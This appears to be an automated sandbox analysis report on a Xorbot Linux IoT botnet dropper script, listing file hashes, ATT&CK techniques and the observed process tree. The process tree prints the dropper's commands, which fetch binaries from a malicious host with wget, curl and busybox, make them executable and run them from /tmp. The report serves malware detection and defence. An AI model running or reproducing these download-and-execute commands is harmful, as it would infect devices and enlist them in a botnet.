xorbot | f609f5bfc7e3d5210e05714eb89a2d41b6fbe6c724e36c95db6113c75ebaf1b0

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29-11-2024 15:42

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General

Target

bins.sh
Size

10KB
MD5

b91e106ff02c3a44407db7510d190b3b
SHA1

9881a6a9fffaeec6083184f37ab1364b6e4024e8
SHA256

f609f5bfc7e3d5210e05714eb89a2d41b6fbe6c724e36c95db6113c75ebaf1b0
SHA512

00aa727b0d4cb91c07fe7b94185a2d0bfee9bceceedd9e7d1d5a21a78659aad3e2181ec672bd5edaa9c10361a66045b7b62a5a8500c0d8e6a06f447907f38c6f
SSDEEP

96:Yswl6Lvcnvc7vcecRcpch3LiQ3auL5RHELFlRKCVSqzLcgZLm3GMDfZrHZhLsGTq:26QkARaSVPLEvhcBXbBtkARaSC

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
734	chmod

Executes dropped EXE 1 IoCs

Processes:

HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH

ioc	pid	Process
/tmp/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH	735	HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusyboxwget

pid	Process
709	wget
731	curl
733	busybox
738	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwget

description	ioc	Process
File opened for modification	/tmp/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH	wget
File opened for modification	/tmp/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH	curl
File opened for modification	/tmp/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH	busybox
File opened for modification	/tmp/8YM3ib0RyGWgg6nrmydXaBhxwvhDsrrpJm	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  ./HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH
  2⤵
  PID:737
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8YM3ib0RyGWgg6nrmydXaBhxwvhDsrrpJm
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/HBTC3hZ9EANvRzlR7CWnfxfwOusb5o6vWH

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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